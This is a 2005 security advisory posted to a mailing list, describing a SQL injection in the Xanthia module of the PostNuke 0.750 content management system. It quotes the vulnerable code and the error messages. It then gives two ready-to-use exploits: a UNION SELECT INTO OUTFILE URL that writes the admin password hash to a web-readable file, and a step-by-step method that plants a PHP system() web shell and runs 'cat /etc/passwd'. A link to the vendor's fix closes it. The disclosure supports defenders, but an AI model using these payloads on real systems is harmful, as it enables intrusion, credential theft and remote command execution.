<<< Date Index >>>     <<< Thread Index >>>

[SECURITYREASON.COM] PostNuke SQL Injection 0.750=>x




-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[PostNuke SQL Injection 0.750=>x cXIb8O3.5]

Author: cXIb8O3
Date: 2.3.2005
from SecurityReason.Com

- --- 0.Description ---

PostNuke: The Phoenix Release (0.750)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel
#postnuke-support
#postnuke-chat
#postnuke
Or at the Community Forums located at:
http://forums.postnuke.com/

- --- 1. Sql Injection ---
This sql injection exist in modules/Xanthia/pnclasses/Xanthia.php on line 977 
on function init_template()

Vulnerabilities code:
- -965-980---
                                $sql = "SELECT $blcontrolcolumn[blocktemplate] 
as blocktemplate,
                                                                
$blcontrolcolumn[identi] as identi
                                                                FROM 
$pntable[theme_blcontrol]
                                                                WHERE 
$blcontrolcolumn[theme]='$theme'
                                                                AND 
$blcontrolcolumn[module]='$mod'
                                                                AND 
$blcontrolcolumn[blocktemplate] !=''";
        
                                // Execute the query
                                $result =& $dbconn->Execute($sql);
        
                                $blocktemplates = array();
                                while(!$result->EOF) {
                                        $row = $result->GetRowAssoc(false);
                                        $blocktemplates[] = $row;
                                        $result->MoveNext();
                                }
- -965-980---

Error exists in varible $mod =>(GET) name.
But you don't can see result..

Error:
If you are user right and have you function init_template() active go to:

http://[HOST]/[DIR]/modules.php?op=modload&name='cXIb8O3&file=index

Error message :
- ---------------
Fatal error: Call to a member function GetRowAssoc() on a non-object in 
/www/PostNuke-0.750/source/html/modules/Xanthia/pnclasses/Xanthia.php on line 
977
- ---------------

OR 

http://[HOST]/[DIR]/modules.php?op=modload&name=sp3x&file=index&module='cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function MoveNext() on a non-object in 
/www/PostNuke-0.750/html/modules/Xanthia/pnclasses/Xanthia.php on line 977
- ---------------

Ok. Frist exploit.


Exploit 0[GET Admin Pass]
Chech dir for PostNuke. 

http://[HOST]/[DIR]/modules.php?op=modload&name='cXIb8O3&file=index

Error message :
- ---------------
Fatal error: Call to a member function GetRowAssoc() on a non-object in 
/www/PostNuke-0.750/source/html/modules/Xanthia/pnclasses/Xanthia.php on line 
977
- ---------------

For exemple prefix is /www/PostNuke-0.750/source/html/. 
Now you can make exploit. But you have to know db prefix.

http://[HOST]/[DIR]/index.php?module=Xanthia'%20UNION%20SELECT%20pn_uname,pn_pass%20FROM%20[db_prefix]users%20WHERE%20pn_uid=2%20INTO%20OUTFILE%20'[DIR_PREFIX]/pnTemp/Xanthia_cache/cXIb8O3'/*&type=admin&func=view

and error messege is:

Error message :
- ---------------
Failed to load module Xanthia' UNION SELECT pn_uname,pn_pass FROM pn__users 
WHERE pn_uid=2 INTO OUTFILE 
'/www/PostNuke-0.750/source/html/pnTemp/Xanthia_cache/cXIb8O3'/* (at function: 
"view")
- ---------------

But go now to 

http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3

and have you password for user with id=2.


Exploit1[Blind upload]
Go to:

http://[HOST]/[DIR]/user.php?op=edituser

and insert to "Extra information" php code. For exemeple:

- ---
<?php system($_GET[cXIb8O3]); ?>
- ---

And now you can make php script with this code. For exemple:

http://[HOST]/[DIR]/index.php?module=Xanthia'%20UNION%20SELECT%20pn_bio,pn_uname%20FROM%20[db_prefix]users%20WHERE%20pn_uid=[YOUR_ID]%20INTO%20OUTFILE%20'[DIR_PREFIX]/pnTemp/Xanthia_cache/cXIb8O3.php'/*&type=admin&func=view

and go to:

http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cXIb8O3=cat /etc/passwd

- --- 2. How to fix ---
PNSA 2005-2
Security Fix (changed files only) for PostNuke 0.750 (tar.gz format)
http://news.postnuke.com/Downloads-index-req-viewdownloaddetails-lid-471.html
SHA1: 6e76d92124c833618d02dfdb87d699374120967d
MD5: a007e741be11389a986b1d8928a6c0e5
Size: 160550 Bytes

or CVS

- --- 3. Greets ---

sp3x

- --- 4.Contact ---
Author: Maksymilian Arciemowicz
Email: max [at] jestsuper [dot] pl
GPG-KEY: http://securityreason.com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (FreeBSD)

iD8DBQFCjunXznmvyJCR4zQRAjFkAJ4lDoD/zYP3lFZD07XsR9WyftT7vACgjRPr
oAXlzjom7BH7yzDRybeHjDM=
=RlgM
-----END PGP SIGNATURE-----